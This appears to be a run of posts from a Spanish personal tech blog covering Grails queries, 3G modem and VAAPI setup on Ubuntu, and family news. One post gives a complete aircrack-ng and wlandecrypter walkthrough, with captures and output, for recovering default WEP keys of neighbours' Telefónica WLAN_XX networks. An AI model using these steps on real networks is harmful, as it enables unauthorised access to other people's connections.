Lo que estamos haciendo es inyectar al <i>HibernateCriteriaBuilder</i> un método llamado <i>unaccent</i> que recibe como parámetros un string con el nombre de la propiedad y un objeto con el valor que queremos comparar. <br />
Con esto podemos reescribir la consulta anterior de la siguiente manera:<br />
<pre>def users = User.createCriteria().list() {
// Old method
//ilike('name', '%' + name + '%')
unaccent('name', value)
}
</pre>Si ejecutamos el criteria vemos que la consulta es la siguiente: <br />
<pre>select
this_.id as id19_0_,
this_.name as name19_0_
from
user this_
where
unaccent("name") ilike unaccent('%iván%')
</pre>Que efectivamente devuelve los mismos registros de antes :-) <br />
Todo esto se puede mejorar puesto que en función del número de registros que esperemos tener en la tabla, aplicar la función unaccent a la columna obliga a la base de datos a hacer un full scan en toda la tabla. Podríamos crear un índice, usar un campo paralelo para realizar las búsquedas que se mantenga automáticamente con un trigger, controlar este campo desde la aplicación grails con los métodos <i>afterSave()</i> y <i>afterUpdate()</i> de la clase de dominio User,... en fin, unas cuantas alternativas.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com3tag:blogger.com,1999:blog-12666448.post-47683958848469952372011-02-01T23:54:00.001+01:002011-02-01T23:54:26.066+01:00Conectándonos a redes WLAN_XX de Telefónica sin saber la contraseña Este pasado verano estuvimos de vacaciones en un piso en la costa española que han comprado mis suegros. Aunque tengo el <a href="http://lopezivan.blogspot.com/2010/08/conexion-3g-con-ubuntu.html">modem 3G USB</a> para conectarme a internet, nunca está de más probar a ver si existe alguna red wifi disponible. Después del paseo de rigor con el portátil por toda la casa, me pongo en la mesa del salón y aunque no existe ninguna red abierta a la que poder conectarme, veo que hay unas cuantas con el nombre WLAN_XX. Estas redes son de Telefónica y al ser "antiguas", el cifrado utilizado es WEP. Podría ponerme a capturar varios cientos de miles de paquetes y posteriormente por fuerza bruta intentar averiguar la clave. Afortunadamente hay una manera mucho más sencilla de obtenerla.<br /><li>El primer paso es instalar desde los repositorios <i>aircrack-ng</i>. Son un conjunto de utilidades que permiten poner la tarjeta en modo monitor para capturar paquetes, inyectar paquetes en redes wifi, obtener una contraseña WEP con un cierto número de paquetes capturados,... <br /><pre>ivan@suneo:~$ sudo apt-get install aircrack-ng</pre></li><li>Ahora ponemos la tarjeta de red en modo monitor para capturar todos los paquetes que nos llegan.<br /><pre>ivan@suneo:~$ sudo airmon-ng start wlan0<br /><br />Interface Chipset Driver<br /><br />wlan0 Intel 3945ABG iwl3945 - [phy0]<br /> <b>(monitor mode enabled on mon0)</b></pre></li><li>La tarjeta wifi ya está en modo monitor, en este caso en el interfaz <i>mon0</i>. Éste será el que utilizaremos para capturar el tráfico.<br /><pre>ivan@suneo:~$ sudo airodump-ng -w packets mon0<br /><br /> CH 1 ][ Elapsed: 9 mins ][ 2010-08-10 15:35 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID <br /> <br /> <b>00:01:38:DF:ED:AE -68 3193 6 0 6 54 . WEP WEP WLAN_B8</b><br /> 00:1A:4D:22:45:81 -84 486 213 0 7 54e. OPN tcc-hotspot-escuera <br /> 00:1F:3F:A3:C7:39 -90 52 0 0 6 54 WEP WEP Harry Mehlitz <br /> 00:1A:2B:5C:57:76 -87 288 4 0 11 54 WEP WEP JAZZTEL_47 <br /> 00:1A:2B:01:AC:A0 -83 829 0 0 3 54 WEP WEP WLAN_E9 <br /> 00:0C:F6:82:44:50 -84 507 3 0 11 54e. WPA TKIP PSK Sitecom824450 <br /> <br /> BSSID STATION PWR Rate Lost Packets Probes <br /> <br /> (not associated) 00:13:CE:6A:1B:14 -89 0 - 1 0 138 MI_CASA,WLAN_4B,1234567891234567891234567891<br /> (not associated) 00:1A:EF:05:17:2D -89 0 - 1 0 5 WLAN_4D <br /> 00:01:38:DF:ED:AE 00:1F:3C:E1:95:C5 0 6 - 1 0 876 WLAN_B8 <br /> 00:1A:2B:5C:57:76 00:22:43:65:1E:C6 -84 0 - 1 0 5 JAZZTEL_47 <br /> 00:1A:2B:5C:57:76 00:16:EA:35:DD:D4 -85 0 - 1 0 3 </pre></li><li>He marcado en negrita la red que nos interesa: WLAN_B8. Lo que hemos hecho es capturar todos los paquetes wifi que "vemos" y almacenarlos en un conjunto de archivos con el prefijo <i>packets</i>. La columna importante es <b>#Data</b>: indica que ya hemos capturado 6 IV's, necesarios para romper la contraseña. Dejamos este proceso capturando y en otro terminal seguimos trabajando.</li><br /> Como ya he comentado, los nombres WLAN_XX son los que antiguamente ponía Telefónica a las redes wifi, dejando además la configuración por defecto. Existe una relación entre el nombre de la red, el BSSID (la mac del punto de acceso) y la clave. <br />En lugar de tener que capturar muchos paquetes, con sólo 4 o más IV's podremos romper el cifrado puesto que vamos a utilizar un ataque por diccionario. Para generar este diccionario usaremos <a href="http://www.wifiway.org/archivos/wlandecrypter-1.3.1.tar.gz">wlandecrypter</a>. Lo descargamos, descomprimimos y con un simple <i>make</i> compilaremos el archivo .c. El uso es muy sencillo, le pasamos como parámetros la mac del punto de acceso y el nombre de la red y nos generará el diccionario con las claves.<br /><pre>ivan@suneo:~$ wlandecrypter 00:01:38:DF:ED:AE WLAN_B8 dic_WLANB8.txt<br /><br />wlandecrypter v1.3.1 (2010/04/21)<br /><br /> [+] BSSID: 00:01:38:XX:XX:XX<br /> [+] Modelo: Xavi 7768r<br /> [+] Generando fichero de claves: dic_WLANB8.txt.kk<br /> [+] Fichero guardado OK<br /> [+] <b>Generadas 65536 claves</b> (896 KB)<br /> [+] Proceso finalizado con exito</pre><br /> Como podéis ver, a partir del BSSID ha detectado qué modelo de router es y ha generado las claves necesarias. En este caso sólo son 65536 claves posibles (siempre que el dueño no haya cambiado la clave por defecto).<br /> Como ya habíamos capturado más de 4 IV's vamos a obtener la clave WEP de la red, para ello ejecutamos <i>aircrack-ng</i> pasándole el BSSID, el diccionario que hemos generado y los paquetes capturados.<br /><pre>ivan@suneo:~$ aircrack-ng -b 00:01:38:DF:ED:AE -w dic_WLANB8.txt -K packets-01.cap<br /><br />Opening packets-01.cap<br />Reading packets, please wait...<br /><br /> Aircrack-ng 1.0<br /><br /><br /> [00:00:00] Tested 3873 keys (got 6 IVs)<br /><br /> KB depth byte(vote)<br /> 0 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 1 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 2 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 3 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 4 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 5 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 6 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 7 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 8 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 9 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 10 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 11 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /> 12 0/ 0 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) 00( 0) <br /><br /> <b>KEY FOUND!</b> [ 58:30:30:30:31:33:38:44:46:32:30:42:38 ] (ASCII: <span style="color:rgb(255,0,0);">X000138DF20B8</span> )<br /> Decrypted correctly: 100%</pre><br /> Lo hemos conseguido, ya tenemos la clave que hemos conseguido prácticamente de manera instantánea. Ahora sed buenos con vuestros vecinos :-P<br /> P.D: También existe una herramienta similar para generar diccionarios para las redes de Jazztel ;-)Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com3tag:blogger.com,1999:blog-12666448.post-65594190370176568192010-08-11T23:32:00.001+02:002010-08-11T23:32:28.832+02:00Conexión 3G con Ubuntu Hace unos meses compré un modem USB 3G de Carrefour móvil. La oferta era muy buena y no quería dejar pasar la oportunidad: Modem 3G USB HUAWEI E156G <u>libre</u>, tarjeta carrefour móvil con 5€ de saldo y tarifa diaria de 1€ sin límite de velocidad hasta 100 MB y luego con velocidad reducida. Todo por tan sólo 29€.<br /><br> Lo primero que hice cuando llegué a casa fue probarlo con una tarjeta Simyo que tengo (no quería probarlo con la tarjeta de carrefour para no desperdiciar un día de la conexión). Conecté el modem al portatil (con Ubuntu 10.04, por supuesto) y éste lo reconoció sin problemas:<br /><pre>ivan@suneo:~$ tail /var/log/messages<br />Aug 11 22:43:56 suneo kernel: [ 447.944954] option 2-2:1.0: GSM modem (1-port) converter detected<br />Aug 11 22:43:56 suneo kernel: [ 447.945320] usb 2-2: GSM modem (1-port) converter now attached to ttyUSB0</pre><br /> El asistente de configuración no puede ser más fácil, sencillo e intuitivo. Hacemos click con el botón derecho en el icono del <i>network manager</i> y añadimos una nueva conexión <i>Mobile</i>, seleccionamos el dispositivo, el país, nuestro operador y finalizamos. <br /><center><br /><a href="http://goo.gl/photos/kAL6" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnHG5PXE8Qrrg2UaVZZjxs2Wy38oL5uCoEy8_p3m68HMqBibhUWuzE6lly6HeNTD1bLF1-G0xx4JJBJK5I3SFjtZouuWZtC88iMQ8rVr20sMt86ezTXank4IbhFWqg9254wy41/s512/Modem3G_01.png"></a><br /><a href="http://goo.gl/photos/yv66" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAWKPjnePiHrnn1XO70cgK9-qw8ywxqyFUBqK-9QCTSzMuyln8y_pCA9BmBoRUKJdb9uR5KL9EtGOxHjKTILmJU_9_5OUAX-P00xtpETzJdTZ5YFifjqrEJii7_YKjmSUuZPaO/s512/Modem3G_02.png"></a><br /></center><br />Ahora ya nos podemos conectar. Elegimos la conexión que acabamos de crear, esperamos unos segundos a que se establezca y ya podemos navegador. <br /><center><a href="http://goo.gl/photos/ycug" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSWGVholNNdPJ6nd2IDFzA8fKr7Zltu6gRIWkEgw8izJkjsVCosBQJUdwXQb7Ud_jDifj29EjAy8zLeWXc4aeR2vACssI1jMRt0XGV1GBzSI0mf1iRiyRy32pAIae02YpLL-tk/s512/Modem3G_03.png"></a></center><br /><b>¿Quién dijo que configurar las cosas en linux era difícil?.</b><br /><br> En el caso de querer utilizar la tarjeta de Carrefour móvil el procedimiento es el mismo pero como éste no aparece en la lista de proveedores, deberemos configurarlo a mano. Sólo tenemos que introducir <b>CARREFOURINTERNET</b> como APN y listo, conexión configurada y lista para ser utilizada.<br /><center><a href="http://goo.gl/photos/CzmN" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhU1SJ_lNoEEDe9b4Me2UOE9OUDP1UexT47zmG1YGDc2jekSVh5SDvrSRIjWoHreHcSnO53Q3um5PCs-LleZ02MfKxnEr4aNh201NBvWrNZctsBboApesegutCTJlm1AciC05mL/s512/Modem3G_04.png"></a><br /></center>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com14tag:blogger.com,1999:blog-12666448.post-42461896646115157502010-08-01T11:09:00.002+02:002010-08-01T11:10:30.550+02:00Acelerando video en alta definición H.264 por hardware en Ubuntu 10.04 con ATI Desde que monté el <a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html">HTPC</a> una de las cosas que siempre quise hacer fue acelerar por hardware los vídeos <a href="http://en.wikipedia.org/wiki/H.264/MPEG-4_AVC">H.264</a>. Todas las series que descargo (que son bastantes) intento que estén siempre en 720p puesto que además de la calidad adicional respecto al divx estándar, también viene con sonido 5.1, por lo que la sensación final es mucho mejor.<br /> Así, quería poder acelerar el video sin tener que tirar de cpu. Cuando tenía instalado windows xp en el HTPC lo intenté siguiendo varias guías y tutoriales y también con distintos programas, pero al final no fui capaz de conseguirlo. Desde que instalé <a href="http://lopezivan.blogspot.com/2010/07/ubuntu-en-el-htpc-ahora-si.html">Ubuntu en el HTPC</a> la cosa ha cambiado. Mi placa base lleva integrada una ATI HD3200, que, aunque es algo modesta y para juegos seguro que se queda corta, permite acelerar vídeos en alta definición. Para ello vamos a utilizar las librerías <a href="http://en.wikipedia.org/wiki/VAAPI">VAAPI</a> (Video Aceleration API) que son el equivalente para ATI de las famosas VDPAU de NVidia. Además, como no podría ser de otra forma, el reproductor será <b>mplayer</b>. Veamos cómo lo he conseguido.<br /><br /><b>Instalando el driver propietario de ATI</b><br /> Utilizaremos la última versión de los drivers propietarios de ATI para Linux. En Ubuntu 10.04 sólo funcionan los drivers a partir de la versión 10.4. Por suerte, cuando salió la última versión de Ubuntu, en ATI se pusieron las pilas y al día siguiente ya habían liberado los drivers. Parece que por fin nos van teniendo en cuenta a los usuarios de Linux.<br /> Actualmente la última versión disponible para mi tarjeta es la 10.7. La descargamos, en mi caso la versión de 64 bits, y la instalamos sin mayor complicación con:<br /><pre>$ sudo ./ati-driver-installer-10-7-x86.x86_64.run</pre><br /><br /><b>Instalando las librerías VAAPI</b><br /> Como hemos comentado, para conseguir la aceleración por <a href="http://en.wikipedia.org/wiki/GPU">GPU</a> vamos a usar VAAPI. En la web <a href="http://www.splitted-desktop.com/%7Egbeauchesne/">http://www.splitted-desktop.com/~gbeauchesne/</a> nos tenemos que bajar las últimas versiones disponibles de: libva, libva-dev, libva-dbg y xvba-video<br /><pre>$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva-dev_0.31.1-1+sds4_amd64.deb<br />$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1-dbg_0.31.1-1+sds4_amd64.deb<br />$ wget http://www.splitted-desktop.com/~gbeauchesne/libva/pkgs/amd64/libva1_0.31.1-1+sds4_amd64.deb<br />$ wget http://www.splitted-desktop.com/~gbeauchesne/xvba-video/xvba-video_0.7.2-1_amd64.deb</pre>Instalamos los paquetes que acabamos de descargar:<br /><pre>$ sudo dpkg -i libva* xvba-video_0.7.2-1_amd64.deb</pre><br /><br /><b>Compilando mplayer con soporte VAAPI</b><br /> Aunque no es estrictamente necesario, sí es recomendable instalar primero la versión existente en los repositorios de Ubuntu. Así, el sistema sabrá que está instalado y nos permitirá instalar complementos como la interfaz gráfica <a href="http://smplayer.sourceforge.net/">SMPlayer</a>.<br /> Antes de poder compilar mplayer tendremos que descargar todas las librerías y paquetes <i>xxxx-dev</i> necesarios. Para ello ejecutamos lo siguiente. En mi caso se descargaron 112 paquetes, pero esto puede variar de un sistema a otro en función de lo que tengamos instalado previamente.<br /><pre>$ sudo apt-get build-dep mplayer</pre> Aunque la compilación de mplayer puede parecer algo complejo, realmente es muy sencilla. Lo que realmente nos vamos a descargar es un script y unos parches para mplayer. Descargamos la última versión disponible en <a href="http://www.splitted-desktop.com/%7Egbeauchesne/mplayer-vaapi/">http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/</a>.<br /><pre>$ wget http://www.splitted-desktop.com/~gbeauchesne/mplayer-vaapi/mplayer-vaapi-20100713.tar.bz2<br /><br />$ bunzip2 mplayer-vaapi-20100713.tar.bz2<br />$ tar xvf mplayer-vaapi-20100713.tar<br />mplayer-vaapi-20100713/<br />mplayer-vaapi-20100713/patches/<br />mplayer-vaapi-20100713/patches/mplayer-vaapi-gma500-workaround.patch<br />mplayer-vaapi-20100713/patches/mplayer-vdpau.patch<br />mplayer-vaapi-20100713/patches/mplayer-vaapi.patch<br />mplayer-vaapi-20100713/patches/mplayer-vaapi-0.29.patch<br />mplayer-vaapi-20100713/checkout-patch-build.sh<br />mplayer-vaapi-20100713/README.txt<br />mplayer-vaapi-20100713/NEWS</pre> Ejecutamos el script que se encarga de todo. Descarga de los subversions las versiones adecuadas de mplayer, ffmpeg y dvdnav, las parchea y finalmente las compila. Si hemos ejecutado todos los pasos anteriores deberíamos tener todas las dependencias satifeschas y la compilación no debería fallar. Esperamos a que termine ya que tardará más o menos en función de la potencia de la máquina.<br /><pre>$ ./checkout-patch-build.sh</pre>Ahora tendremos un directorio llamado mplayer-vaapi en el que estará disponible nuestra propia versión de mplayer.<br /><br /><br><b>Probando a vídeos con aceleración y sin ella</b><br /> Para hacer la prueba voy a utilizar un capítulo de Lost en 720p. Primero vamos a hacer una prueba sin acelerar ejecutando simplemente:<br /><pre>$ ./mplayer Lost.S06E01-02.720p.mkv<br />...<br />VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)<br />==========================================================================<br />Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family<br />Selected video codec: <b>[ffh264] vfm: ffmpeg (FFmpeg H.264)</b><br />==========================================================================<br />Starting playback...<br />Movie-Aspect is 1.78:1 - prescaling to correct movie aspect.<br />VO: [xv] 1280x720 => 1280x720 Planar YV12</pre> Si ahora hacemos lo mismo pero utilizamos VAAPI vemos en la salida de mplayer que estamos usando las librerías para la aceleración.<br /><pre>$ ./mplayer -vo vaapi -va vaapi Lost.S06E01-02.720p.mkv<br />...<br />VIDEO: [H264] 1280x720 0bpp 24.000 fps 0.0 kbps ( 0.0 kbyte/s)<br /><b>libva: libva version 0.31.1-sds1</b><br />Xlib: extension "XFree86-DRI" missing on display ":0.0".<br />libva: va_getDriverName() returns 0<br />libva: Trying to open /usr/lib/va/drivers/fglrx_drv_video.so<br />libva: va_openDriver() returns 0<br />==========================================================================<br />Opening video decoder: [ffmpeg] FFmpeg's libavcodec codec family<br />[VD_FFMPEG] <b>VA API accelerated codec.</b><br />Selected video codec: [ffh264] vfm: ffmpeg (FFmpeg H.264)<br />==========================================================================<br />VO: [vaapi] 1280x720 => 1280x720 <b>H.264 VA-API Acceleration</b><br />[VD_FFMPEG] XVMC-accelerated MPEG-2.<br /></pre> Para que se vea de una manera más gráfica la diferencia de consumo de CPU, con el comando pidstat tomé muestras del consumo de mplayer en ambos casos.<br /><center><a href="http://goo.gl/photos/5fTI" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgBlE85g6RB2LpQRtU1QYp_li8acO75ap05EoQUPT4hSgTinNDMfUcMclAPAkNqWkHmZlQj8U6PCZR8CVGsEegdNQ9R1HJZhb9gUmBPVgV9ehx1iPfqZ6Hqw5YoeoDdCYIdRTCP/s512/mplayer_vaapi.jpeg"></a></center><br /> Como vemos la diferencia en ambos casos del uso de CPU es brutal, algo esperado porque quien realmente está decodificando el vídeo en el caso de VAAPI es la GPU.<br /><br> Finalmente, copiamos mplayer a su ubicación definitiva para poder ejecutarlo desde cualquier sitio. Con esto reemplazaremos los binarios que instalamos desde los repositorios.<br /><pre>$ sudo make install<br />install -d /usr/local/bin /usr/local/etc/mplayer /usr/local/lib<br />install -m 755 -s mencoder /usr/local/bin<br />install -d /usr/local/share/man/man1<br />install -m 644 DOCS/man/en/mplayer.1 /usr/local/share/man/man1/<br />cd /usr/local/share/man/man1 && ln -sf mplayer.1 mencoder.1<br />install -m 755 -s mplayer /usr/local/bin</pre><br /><br /><b>Automatizando los parámetros de mplayer</b><br /> Ahora ya sabemos cómo acelerar los vídeos por hardware pero es una tarea un poco pesada tener que pasar todos los parámetros de mplayer para cada vídeo. Además, en mi caso, no estoy utilizando la salida de audio mini-jack de la placa base, sino que uso la salida óptica <a href="http://en.wikipedia.org/wiki/SPDIF">S/PDIF</a>. Para conseguir que mplayer saque el audio por ese conector, también debemos indicárselo.<br /> Mostramos un listado de los dispositivos hardware capaces de reproducir audio para ver cual es que nos interesa.<br /><pre>$ aplay -l<br />**** List of PLAYBACK Hardware Devices ****<br />card 0: SB [HDA ATI SB], device 0: ALC889A Analog [ALC889A Analog]<br /> Subdevices: 1/1<br /> Subdevice #0: subdevice #0<br /><b>card 0</b>: SB [HDA ATI SB], <b>device 1</b>: ALC889A Digital <b>[ALC889A Digital]</b><br /> Subdevices: 1/1<br /> Subdevice #0: subdevice #0<br />card 1: HDMI [HDA ATI HDMI], device 3: ATI HDMI [ATI HDMI]<br /> Subdevices: 1/1<br /> Subdevice #0: subdevice #0</pre> Así, debemos ejecutar mplayer indicando la tarjeta y el dispositivo que queremos utilizar para sacar el audio. Adicionalmente también le forzamos el audio AC3:<br /><pre>$ mplayer -ao alsa:device=hw=0.1 -ac hwac3 -vo vaapi -va vaapi pelicula.mvk</pre> Si hubiera querido que el audio saliera directamente por el conector HDMI que va a la tele, las opciones que tendría que haber puesto en mplayer serían: <i>-ao alsa:device=hw=1.3</i><br /> Esto cada vez crece más. Si antes teníamos que poner las opciones para el soporte vaapi, ahora adicionalmente tenemos que poner también la salida por S/PDIF. Para nuestra comodidad podemos añadir todas estas opciones al archivo de configuración de mplayer.<br /><pre>$ cat /home/ivan/.mplayer/config<br /># Write your default config options here!<br /># Salida por S/PDIF<br />ao=alsa:device=hw=0.1,<br /># Forzar audio a AC3<br />ac=hwac3<br /># Aceleración HW<br />vo=vaapi<br />va=vaapi</pre> De esta sólo tenemos que ejecutar<br /><pre>$ mplayer pelicula.mkv</pre>y tendremos la salida de audio por S/PDIF y la aceleración por hardware habilitada.<br /><br /><br><b>¿Y por qué no usar VLC?</b><br /> Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir <a href="http://www.webupd8.org/2010/06/how-to-install-vlc-110-final-in-ubuntu.html">estas instrucciones</a>. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.<br /><blockquote>Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).<br /><br />There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.</blockquote> Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.<br /><br /><br><b>Conclusiones</b><br /> Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com19tag:blogger.com,1999:blog-12666448.post-71308043834165009632010-07-17T16:19:00.002+02:002010-07-17T16:21:55.222+02:00¡Ha nacido Adriana! El pasado 5 de Julio a las 01:20 AM nació por parto natural <b>Adriana</b>. Pesó 3,120 Kg y midió 48 cm. Ahora que se me está terminando la baja de paternidad saco un hueco para escribir y contarlo. La niña y mi mujer están bien y ahora estamos adaptándonos a la situación. <a href="http://judithlopezb.blogspot.com/">Judith</a> parece que se lo está tomando bastante bien y de momento mira con curiosidad a su hermanita, la acaricia y le da besitos. Iremos viendo poco a poco cómo va evolucionando la situación.<br /><br> Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): <a href="http://adrianalopezbre.blogspot.com">http://adrianalopezbre.blogspot.com</a>.<br /><br><center><a href="http://goo.gl/photos/Blt6" imageanchor="1" style="clear:right;margin-bottom:1em;margin-left:1em"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyQR3S_zwoFDe1Yi_Yf1TTf4_x6lyKfxpjPvE1hIQ7RneaHB6rDQHeW_p2pVtR34GZeCQGTA3qKKHI9lTZS9vPx1Kaah8uQjO_goIwoCl0XMAwN6V5J4fegiJqZ_09c7JnAoyf/s512/Adriana.jpg"></a></center>Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com3tag:blogger.com,1999:blog-12666448.post-3831015984001662852010-07-01T16:40:00.003+02:002010-07-11T00:46:12.653+02:00Ubuntu en el HTPC. ¡Ahora sí! Hace prácticamente un año que escribí el artículo <a href="http://lopezivan.blogspot.com/2009/07/htpc-para-el-salon.html">HTPC para el salón</a>. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar. <br /><br> Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).<br /><br> Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...<br /><br /><b>Actualización: </b>Como dice <i>luischenco</i> en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para <a href="http://judithlopezb.blogspot.com/">Judith</a>), por lo que todo eso no me aporta nada.<br />El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.Ivánhttp://www.blogger.com/profile/00333291545491221453noreply@blogger.com5tag:blogger.com,1999:blog-12666448.post-60030465084722575132010-06-20T23:50:00.000+02:002010-06-20T23:50:59.975+02:00Nuevo diseño del blog Estaba dispuesto esta noche a preparar un par de artículos que tenía pendientes desde hace tiempo pero al conectarme a blogger he visto que hay una opción nueva para cambiar el diseño del blog. He estado haciendo unas cuantas pruebas y el resultado es el que podéis ver. <br /><br><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcWlPi0-qfHLbGK2MZOj4UZ7cmpW3_fGibXQW5i3JqCUnxYGz8elUtcSEaP4R6i05bZ2N2kWkMikup-ipsmvbaz7y8pVoEhM9lTUNWpxV1ivgsqDKuaLDbroGatgp2y-ikAnba/s1600/NuevaPlantillaBlog.jpg"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 256px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcWlPi0-qfHLbGK2MZOj4UZ7cmpW3_fGibXQW5i3JqCUnxYGz8elUtcSEaP4R6i05bZ2N2kWkMikup-ipsmvbaz7y8pVoEhM9lTUNWpxV1ivgsqDKuaLDbroGatgp2y-ikAnba/s400/NuevaPlantillaBlog.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5484976375743715058" /></a><br />El nuevo diseñador es muy sencillo y fácil de utilizar, permite cambiar muchas opciones de la plantilla e incluso añadir nuestros propios de css sin tener que tocar el código para nada. <br />Además, también he estado retocando los widgets laterales, añadiendo el track de google analytics y poco más, en muy poco tiempo el blog ha quedado listo y con un lavado de cara que venía postponiendo desde hacía ya demasiado tiempo.<br /><br> En fin, tendré que dejar los artículos para otro 